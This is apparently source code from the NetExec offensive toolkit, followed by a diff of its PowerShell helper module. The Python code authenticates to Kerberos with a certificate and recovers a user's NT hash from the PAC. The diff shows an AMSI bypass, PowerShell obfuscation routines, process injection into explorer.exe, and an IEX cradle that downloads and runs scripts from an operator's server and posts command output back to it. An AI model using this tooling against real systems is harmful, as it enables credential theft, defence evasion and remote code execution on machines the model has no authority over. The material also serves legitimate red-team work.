from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
+165 -182
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
from sys import exit
@@ -8,35 +6,83 @@ from random import choice, sample
from subprocess import call
from nxc.helpers.misc import which
from nxc.logger import nxc_logger
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import NXC_PATH, DATA_PATH
from base64 import b64encode
import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
Parameters
----------
path (str): The relative path to the PowerShell script.
Returns
-------
str: The full path to the PowerShell script.
"""
return os.path.join(DATA_PATH, path)
def encode_ps_command(command):
"""
Encodes a PowerShell command into a base64-encoded string.
Args:
----
command (str): The PowerShell command to encode.
Returns:
-------
str: The base64-encoded string representation of the encoded command.
"""
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
Args:
----
path_to_script (str): The path to the PowerShell script.
Returns:
-------
str: The obfuscated PowerShell script.
Raises:
------
FileNotFoundError: If the script file does not exist.
OSError: If there is an error during obfuscation.
"""
ps_script = path_to_script.split("/")[-1]
obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if bool(which("powershell")) and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script, "r") as script:
with open(obfs_ps_script) as script:
return script.read()
nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
@@ -45,127 +91,103 @@ def obfs_ps_script(path_to_script):
nxc_logger.debug(invoke_obfs_command)
with open(os.devnull, "w") as devnull:
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
nxc_logger.success("Script obfuscated successfully")
with open(obfs_ps_script, "r") as script:
with open(obfs_ps_script) as script:
return script.read()
else:
with open(get_ps_script(path_to_script), "r") as script:
with open(get_ps_script(path_to_script)) as script:
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return stripped_code
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = []
for line in file_in:
lines.append(line)
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""
if force_ps32:
command = (
amsi_bypass
+ """
$functions = {{
function Command-ToExecute
{{
{command}
}}
}}
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
$job | Wait-Job
}}
else
{{
IEX "$functions"
Command-ToExecute
}}
""".format(
command=amsi_bypass + ps_command
)
)
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = amsi_bypass + ps_command
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug("Generated PS command:\n {}\n".format(command))
nxc_logger.debug(f"Generated PS command:\n {command}\n")
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3
"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
"""
Generates a PowerShell code block for injecting a command into a specified process.
Args:
----
command (str): The command to be injected.
context (str, optional): The context in which the code block will be injected. Defaults to None.
procname (str, optional): The name of the process into which the command will be injected. Defaults to "explorer.exe".
inject_once (bool, optional): Specifies whether the command should be injected only once. Defaults to False.
Returns:
-------
str: The generated PowerShell code block.
"""
# The following code gives us some control over where and how Invoke-PSInject does its thang
# It prioritizes injecting into a process of the active console session
ps_code = """
@@ -207,8 +229,22 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
return ps_code
def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
if type(scripts) is str:
def gen_ps_iex_cradle(context, scripts, command="", post_back=True):
"""
Generates a PowerShell IEX cradle script for executing one or more scripts.
Args:
----
context (Context): The context object containing server and port information.
scripts (str or list): The script(s) to be executed.
command (str, optional): A command to be executed after the scripts are executed. Defaults to an empty string.
post_back (bool, optional): Whether to send a POST request with the command. Defaults to True.
Returns:
-------
str: The generated PowerShell IEX cradle script.
"""
if isinstance(scripts, str):
launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
@@ -222,23 +258,18 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
command=command if post_back is False else "",
).strip()
elif type(scripts) is list:
elif isinstance(scripts, list):
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
server=context.server,
port=context.server_port,
addr=context.localip,
script=script,
)
launcher += f"IEX (New-Object Net.WebClient).DownloadString('{context.server}://{context.localip}:{context.server_port}/{script}')\n"
launcher.strip()
launcher += command if post_back is False else ""
if post_back is True:
launcher += """
launcher += f"""
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
$request = [System.Net.WebRequest]::Create('{context.server}://{context.localip}:{context.server_port}/')
$request.Method = 'POST'
$request.ContentType = 'application/x-www-form-urlencoded'
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
@@ -246,12 +277,7 @@ $request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
command=command,
)
$request.GetResponse()"""
nxc_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
@@ -260,30 +286,20 @@ $request.GetResponse()""".format(
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(script_string):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
"""
Obfuscates a script string and generates an obfuscated payload for execution.
# Create list of random delimiters called random_delimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
random_delimiters = [
"_",
"-",
",",
"{",
"}",
"~",
"!",
"@",
"%",
"&",
"<",
">",
";",
":",
]
Args:
----
script_string (str): The script string to obfuscate.
for i in alphabet:
random_delimiters.append(i)
Returns:
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]
# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
@@ -356,7 +372,7 @@ def invoke_obfuscation(script_string):
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
# Generate the code that will decrypt and execute the payload and randomly select one.
baseScriptArray = [
base_script_array = [
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
@@ -364,14 +380,14 @@ def invoke_obfuscation(script_string):
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(baseScriptArray),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
choice(base_script_array) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(base_script_array),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(base_script_array) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(base_script_array) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
newScript = choice(new_script_array)
new_script = choice(new_script_array)
# Generate random invoke operation syntax
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
